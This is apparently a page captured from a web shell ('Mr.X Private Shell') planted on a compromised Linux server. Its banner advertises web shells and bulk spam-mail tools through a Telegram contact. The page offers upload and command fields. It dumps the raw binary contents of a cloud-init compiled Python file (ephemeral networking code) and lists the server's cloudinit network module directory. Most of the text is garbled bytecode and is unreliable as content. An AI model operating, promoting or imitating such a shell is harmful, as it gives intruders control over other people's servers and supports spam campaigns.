__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[hV��(�SrSSKrSSKrSSKJr SSKJrJrJrJ	r	J
r
JrJr SSK
Jr SSKJr SSKJrJr SSKJr SSKJrJr \R2"\5r"SS	5r"S
S5r"SS
5r"SS5rS\	\\ \4S\\ 4Sjr!g)z.Module for ephemeral network context managers
�N)�partial)�Any�Callable�Dict�List�Literal�Optional�Tuple)�NoDHCPLeaseError�maybe_perform_dhcp_discovery)�ProcessExecutionError)�UrlError�wait_for_urlc�L�\rSrSrSrSS\4SjjrSrSrSr	S	r
S
rSrg)
�EphemeralIPv4Network�a�Context manager which sets up temporary static network configuration.

No operations are performed if the provided interface already has the
specified configuration.
This can be verified with the connectivity_urls_data.
If unconnected, bring up the interface with valid ip, prefix and broadcast.
If router is provided setup a default route for that interface. Upon
context exit, clean up the interface leaving no configuration behind.
N�interface_addrs_before_dhcpc	���[X#XE/5(d[SRX#XE55e[R"U5UlX lX0lXPlXpl	X�l
/UlXlURSUR
3Ul
URUR05Ulg![a n	[SRU	55U	eSn	A	ff=f)a�Setup context manager and validate call signature.

@param interface: Name of the network interface to bring up.
@param ip: IP address to assign to the interface.
@param prefix_or_mask: Either netmask of the format X.X.X.X or an int
    prefix.
@param broadcast: Broadcast address for the IPv4 network.
@param router: Optionally the default gateway IP.
@param static_routes: Optionally a list of static routes from DHCP
z5Cannot init network on {0} with {1}/{2} and bcast {3}z4Cannot setup network, invalid prefix or netmask: {0}N�/)�all�
ValueError�format�net�ipv4_mask_to_net_prefix�prefix�	interface�ip�	broadcast�router�
static_routes�cleanup_cmds�distro�cidr�getr)
�selfr"rr�prefix_or_maskrrrr �es
          �9/usr/lib/python3/dist-packages/cloudinit/net/ephemeral.py�__init__�EphemeralIPv4Network.__init__s���*�I�>�=�>�>��G�N�N��>���
�
	��5�5�n�E�D�K�#����"����*��,.������w�w�i�q����
�.��	�+F�+J�+J��N�N�B�,
��(���	���%�v�a�y���
��	�s�B7�7
C!�C�C!c��UR5 UR(aUR5 gUR(aUR5 gg![a=nS[UR5;aS[UR5;aeSnAN�SnAff=f![a URSSS5 ef=f)z�Set up ephemeral network if interface is not connected.

This context manager handles the lifecycle of the network interface,
addresses, routes, etc
zFile existszAddress already assignedN)	�_bringup_devicer
�str�stderrr �_bringup_static_routesr�_bringup_router�__exit__)r%r's  r(�	__enter__�EphemeralIPv4Network.__enter__Ns���	�
��$�$�&�&�!�!��+�+�-�����$�$�&���))�
� ���H�H�)��0��A�H�H�
�E����	
��,%�	��M�M�$��d�+��	�s3�A�!B"�!B"�
B�"3B�B"�B�B"�"Cc�8�URH
nU"5 M g)zTeardown anything we set up.N)r!)r%�	excp_type�
excp_value�excp_traceback�cmds     r(r1�EphemeralIPv4Network.__exit__rs���$�$�C��E�%�c���[RSURURUR5 [
R"5RUR05nURS5nURRS5nURURS05Vs/sHoDRS5PM sn;nURURRS05Vs/sHnURS5PM sn;nU(a,[RSURUR5 OEURRRURURUR5 U(a![RSUR5 O.URRRURSS9 U(a![RS	UR5 OLURR[!URRR"URSS95 U(a![RS
UR5 gURR[!URRR$URUR55 gs snfs snf)a6Perform the ip commands to fully set up the device.

Dhcp clients behave differently in how they leave link state and ip
address assignment.

Attempt assigning address and setting up link if needed to be done.
Set cleanup_cmds to return the interface state to how it was prior
to execution of the dhcp client.
z:Attempting setup of ephemeral network on %s with %s brd %s�up�ipv4rz1Skip adding ip address: %s already has address %sz9Skip bringing up network link: interface %s is already up�inet)�familyzLNot queueing link down: link [%s] was up prior before receiving a dhcp leasezSNot queueing address removal: address %s was assigned before receiving a dhcp leaseN)�LOG�debugrr#r�netinfo�netdev_infor$rrr"�net_ops�add_addr�link_upr!�appendr�	link_down�del_addr)r%�interface_addrs_after_dhcp�has_link�had_linkr�has_ip�had_ips       r(r,�$EphemeralIPv4Network._bringup_devicews<��	�	�	�H��N�N��I�I��N�N�		
�&-�%8�%8�%:�%>�%>��N�N�B�&
�"�.�1�1�$�7���3�3�7�7��=�����#=�#A�#A�&�"�#M�
�#M�R�F�F�4�L�#M�
�
������6�6�:�:�6�2�F�
�F��
�F�F�4�L�F�
�
��
��I�I�C�������
�
�K�K���(�(�����	�	�4�>�>�
���I�I�K����
�

�K�K���'�'����v�'�F���I�I�)����
�
���$�$���K�K�'�'�1�1��N�N�!��
���I�I�)����
�
���$�$���K�K�'�'�0�0�$�.�.�$�)�)��
��]
��
s�1K�9K!c�*�URH�upURRRURX5 UR
R
S[URRRURUUS95 M� g)Nr��gateway)	r r"rD�append_routerr!�insertr�	del_route)r%�net_addressrRs   r(r/�+EphemeralIPv4Network._bringup_static_routes�s{��%)�$6�$6� �K�
�K�K���,�,�����
�
���$�$����K�K�'�'�1�1��N�N��#�	�
�%7r:c
��URRR5nSU;a0[R	SUR
UR
55 gURRRUR
URURS9 URRS[URRRUR
URURS95 URRRUR
SURS9 URRS[URRRUR
S55 g)z<Perform the ip commands to fully setup the router if needed.�defaultz<Skip ephemeral route setup. %s already has default route: %sN)�source_addressrrQ)r"rD�get_default_router@rAr�strip�	add_routerrr!rTrrU)r%�outs  r(r0�$EphemeralIPv4Network._bringup_router�s(���k�k�!�!�3�3�5������I�I�N�����	�	��
�

������%�%��N�N�D�K�K����	&�	
�	
��� � �
�����#�#�-�-�������#�w�w�	
�	
�	
�����%�%��N�N�I�t�{�{�	&�	
�	
��� � �
��D�K�K�'�'�1�1�4�>�>�9�M�	
r:)
rr#r!r"rrrrrr )NN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__�dictr)r2r1r,r/r0�__static_attributes__�r:r(rrs;���$��.
�&*�.
�`"�H�
G�R�0
r:rc�*�\rSrSrSrSrSrSrSrg)�EphemeralIPv6Network�z�Context manager which sets up a ipv6 link local address

The linux kernel assigns link local addresses on link-up, which is
sufficient for link-local communication.
c�^�U(d[SRU55eX lXlg)z�Setup context manager and validate call signature.

@param interface: Name of the network interface to bring up.
@param ip: IP address to assign to the interface.
@param prefix: IPv6 uses prefixes, not netmasks
zCannot init network on {0}N)rrrr")r%r"rs   r(r)�EphemeralIPv6Network.__init__�s(����9�@�@��K�L�L�"���r:c��[R"URS5S:wa0URRRUR5 gg)zvlinux kernel does autoconfiguration even when autoconf=0

https://www.kernel.org/doc/html/latest/networking/ipv6.html
�	operstater<N)r�read_sys_netrr"rDrF�r%s r(r2�EphemeralIPv6Network.__enter__s?��
���D�N�N�K�8�D�@��K�K���'�'����7�Ar:c��g)z%No need to set the link to down stateNrg�r%�_argss  r(r1�EphemeralIPv6Network.__exit__s�r:)r"rN)	r`rarbrcrdr)r2r1rfrgr:r(riri�s����8�4r:ric�f�\rSrSrSS\\\\\44Sjjr	Sr
SrSrSr
S	rS
rSrg)
�EphemeralDHCPv4iN�connectivity_urls_datac��X lSUlSUlX@lU=(d /UlXl[R"5Ulg�N)	�iface�_ephipv4�lease�
dhcp_log_funcrxr"rBrCr)r%r"r{rxr~s     r(r)�EphemeralDHCPv4.__init__s@���
�8<��
�/3��
�*��&<�&B���#���+2�+>�+>�+@��(r:c��[UR5=n(a[RSU5 gUR	5$)zMSetup sandboxed dhcp context, unless connectivity_url can already be
reached.z:Skip ephemeral DHCP setup, instance has connectivity to %sN)�_check_connectivity_to_imdsrxr@rA�obtain_lease)r%�imds_reached_at_urls  r(r2�EphemeralDHCPv4.__enter__(sL��#>��'�'�#
�
��
�
�I�I��#�
�
�� � �"�"r:c�$�UR5 g)z Teardown sandboxed dhcp context.N)�
clean_network)r%r5r6r7s    r(r1�EphemeralDHCPv4.__exit__7s�����r:c�p�SUlUR(aURRSSS5 gg)z@Exit _ephipv4 context to teardown of ip configuration performed.N)r}r|r1rps r(r��EphemeralDHCPv4.clean_network;s+����
��=�=��M�M�"�"�4��t�4�r:c���UR(aUR$[URURUR5UlUR(d
[5e[RSURSURSURS5 SSSS/SQSS.nURU5nUS	(d [R"US
US5US	'US(a+URRRUS5US'[UR4S
UR0UD6nUR5 X0lUR$)aPerform dhcp discovery in a sandboxed environment if possible.

@return: A dict representing dhcp options on the most recent lease
    obtained from the dhclient discovery if run, otherwise an error
    is raised.

@raises: NoDHCPLeaseError if no leases could be obtained.
z#Received dhcp lease on %s for %s/%srz
fixed-addresszsubnet-maskzbroadcast-address)zrfc3442-classless-static-routeszclassless-static-routesr zunknown-121�routers)rrr&rr rrr&rr r)r}rr"r{r~rr@rA�extract_dhcp_options_mappingr�mask_and_ipv4_to_bcast_addr�dhcp_client�parse_static_routesrrr2r|)r%�nmap�kwargs�ephipv4s    r(r��EphemeralDHCPv4.obtain_leaseAsT���:�:��:�:��1��K�K����T�%7�%7�
��
��z�z�"�$�$��	�	�1��J�J�{�#��J�J��'��J�J�}�%�		
�%�!�+�,�� �
���2�2�4�8���k�"�"%�"A�"A��'�(�&��,�#�F�;���/�"����'�'�;�;��?�+��
�?�#�
'��K�K�
�(,�(H�(H�
��
��
	�����
��z�z�r:c���0nUR5HKup4[U[5(aURX4U5 M.URRU5X#'MM U$rz)�items�
isinstance�list�get_first_option_valuer}r$)r%r��result�internal_reference�lease_option_namess     r(r��,EphemeralDHCPv4.extract_dhcp_options_mappingxs\����6:�j�j�l�2���,�d�3�3��+�+�&�F��.2�Z�Z�^�^�<N�-O��*�
7C��
r:c��UH8nURU5(aMURRU5X1'M: grz)r$r})r%�internal_mappingr�r��different_namess     r(r��&EphemeralDHCPv4.get_first_option_value�s3�� 2�O��:�:�.�/�/�+/�:�:�>�>�/�+J��(� 2r:)r|rxr~r"r{rr})NNN)r`rarbrcr	rrr-rr)r2r1r�r�r�r�rfrgr:r(rwrwsP���AE��
A�!)��d�3��8�n�)=� >�	
A�
#��5�5�n	�Kr:rwc��\rSrSrSrSS\S\S\\\\	\
44SjjrSrS	\
S
S\\\\44SjrS
rSrg)�EphemeralIPNetworki�aTCombined ephemeral context manager for IPv4 and IPv6

Either ipv4 or ipv6 ephemeral network may fail to initialize, but if either
succeeds, then this context manager will not raise exception. This allows
either ipv4 or ipv6 ephemeral network to succeed, but requires that error
handling for networks unavailable be done within the context.
N�ipv6r=rxc��X lX@lX0l[R"5UlSUlXlXPlg)a�
Args:
    distro: The distro object
    interface: The interface to bring up
    ipv6: Whether to bring up an ipv6 network
    ipv4: Whether to bring up an ipv4 network
    connectivity_urls_data: List of url data to use for connectivity
        check before attempting to bring up ephemeral networks. If
        connectivity can be established to any of the urls, then the
        ephemeral network setup is skipped.
�N)	rr=r��
contextlib�	ExitStack�stack�	state_msgr"rx)r%r"rr�r=rxs      r(r)�EphemeralIPNetwork.__init__�s5��&#���	��	��)�)�+��
� �����&<�#r:c��UR(dUR(dU$/nSn[UR5=n(a[RSU5 U$[RS5 UR(a-UR
SS9upEX$-nU(aURU5 UR(a-UR
SS9upgX&-nU(aURU5 UR(aW(dUR(dSUlU(d[RS5 US	eU$)
NFz:We already have connectivity to IMDS at %s, skipping DHCP.z/No connectivity to IMDS, attempting DHCP setup.r=)�
ip_versionr�zusing link-local ipv6zGFailed to bring up EphemeralIPNetwork. Datasource setup cannot continuer)
r=r�r�rxr@rA� _perform_ephemeral_network_setuprGr��error)r%�
exceptions�ephemeral_obtained�imds_url�ipv4_ephemeral_obtained�ipv4_exception�ipv6_ephemeral_obtained�ipv6_exceptions        r(r2�EphemeralIPNetwork.__enter__�s$���y�y�����K��
�"��3��'�'�
�
�8�
�
�I�I�L��
��K�	�	�	�C�D��9�9��5�5��5�H�
4�#�
�9����!�!�.�1��9�9��5�5��5�H�
4�#�
�9����!�!�.�1�
�I�I�1�$�)�)�4�D�N�!�
�I�I�3�
��Q�-���r:r�)r=r��returnc���US:Xa8URR[URURS95 ONUS:Xa:URR[URUR55 O[
SU35e[RSURU5 g![[4a/n[RSURU5 SU4sS	nA$S	nAff=f)
a�
Attempt to bring up an ephemeral network for the specified IP version.

Args:
    ip_version (str): The IP version to bring up ("ipv4" or "ipv6").

Returns:
    Tuple: A tuple containing:
        - a boolean indicating whether an ephemeral network was
            successfully obtained
        - an optional exception if ephemeral network setup failed
            or None if successful
r=)r"r{r�zUnsupported IP version: z7Successfully brought up %s for ephemeral %s networking.)TNz2Failed to bring up %s for ephemeral %s networking.FN)r��
enter_contextrwr"rrirr@rAr
r)r%r�r's   r(r��3EphemeralIPNetwork._perform_ephemeral_network_setup�s���"	��V�#��
�
�(�(�#�#�{�{�"�n�n����v�%��
�
�(�(�(���������!�#;�J�<�!H�I�I��I�I�I�����
�
��%�'7�8�	��I�I�D�����
�
�!�8�O��
	�s�B-B0�0C/�$C*�$C/�*C/c�8�URR5 grz)r��closerss  r(r1�EphemeralIPNetwork.__exit__s���
�
���r:)rxr"rr=r�r�r�)FTN)r`rarbrcrd�boolr	rrr-rr)r2rr
�	Exceptionr�r1rfrgr:r(r�r��s~�����AE�
=��	=�
�=�!)��d�3��8�n�)=� >�
=�62�h/��N�+�/�
�t�X�i�(�(�	)�/�br:r�rxr�c�h^�U4SjnT(d[RS5 g[ST55=(d Sn[TVs/sHo3SPM	 snUUSSS	9upEU(d[RS
5 gU$s snf![a n[RSU5 SnAgSnAff=f)ai
Perform a connectivity check to the provided URLs to determine if the
ephemeral network setup is necessary.

This function attempts to reach one of the provided URLs and returns the
URL that was successfully reached. If none of the URLs can be reached,
it returns None.

The timeout for the request is determined by the highest timeout value
provided in the connectivity URLs data. If no timeout is provided, a
default timeout of 5 seconds is used.

Args:
    connectivity_urls_data: A list of dictionaries, each containing
        the following keys:
        - "url" (str): The URL to check connectivity for.
        - "headers" (dict, optional): Headers to include in the request.
        - "timeout" (int, optional): Timeout for the request in seconds.

Returns:
    Optional[str]: The URL that was successfully reached, or None if no
    connectivity was established.
c�r>�TVs/sHnUSU:XdMURS5PM! snSnU$s snf)zy
Helper function to get headers for a given URL from the connectivity
URLs data provided to _check_connectivity_to_imds.
�url�headersr�r$)r��url_datar�rxs   �r(�_headers_cb�0_check_connectivity_to_imds.<locals>._headers_cb3sO���3�
�2�����#�%�
$�H�L�L��#�2�
��	
��
���
s�
4�4zZNo connectivity URLs provided. Skipping connectivity check before ephemeral network setup.Nc3�D# �UHoRSS5v� M g7f)�timeoutrNr�)�.0r�s  r(�	<genexpr>�._check_connectivity_to_imds.<locals>.<genexpr>Hs���N�7M�8�L�L��A�&�&�7M�s� �r�Fr)�urls�
headers_cbr��connect_synchronously�max_waitz5Failed to reach IMDS without ephemeral network setup.z8Failed to reach IMDS without ephemeral network setup: %s)r@rA�maxrr)rxr�r�r��url_that_worked�_r's`      r(r�r�s����6
�"��	�	�
J�	
��	�N�7M�N�N�	
���
�)�2H�I�2H�h�5�/�2H�I�"��"'��
���.��I�I�M�N�����5J���
��	�	�F�
�	
�	
���
�s*�	B�
B�B�B�
B1�B,�,B1)"rdr��logging�	functoolsr�typingrrrrrr	r
�
cloudinit.netr�cloudinit.netinforB�cloudinit.net.dhcprr�cloudinit.subpr
�cloudinit.url_helperrr�	getLoggerr`r@rrirwr�r-r�rgr:r(�<module>r�s�������F�F�F��#�M�0�7�
����!��b
�b
�J4�4�@pK�pK�fJ�J�ZQ� ��c�3�h��0�Q�
�c�]�Qr:

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 46.89 KB 0644
activators.cpython-313.pyc File 15.78 KB 0644
bsd.cpython-313.pyc File 10.46 KB 0644
cmdline.cpython-313.pyc File 10.75 KB 0644
dhcp.cpython-313.pyc File 37.06 KB 0644
eni.cpython-313.pyc File 20.84 KB 0644
ephemeral.cpython-313.pyc File 23.03 KB 0644
freebsd.cpython-313.pyc File 4.93 KB 0644
netbsd.cpython-313.pyc File 2.8 KB 0644
netplan.cpython-313.pyc File 22.56 KB 0644
network_manager.cpython-313.pyc File 22.29 KB 0644
network_state.cpython-313.pyc File 40.71 KB 0644
networkd.cpython-313.pyc File 13.82 KB 0644
openbsd.cpython-313.pyc File 3.9 KB 0644
renderer.cpython-313.pyc File 2.49 KB 0644
renderers.cpython-313.pyc File 2.02 KB 0644
sysconfig.cpython-313.pyc File 40.13 KB 0644
udev.cpython-313.pyc File 1.68 KB 0644
Filemanager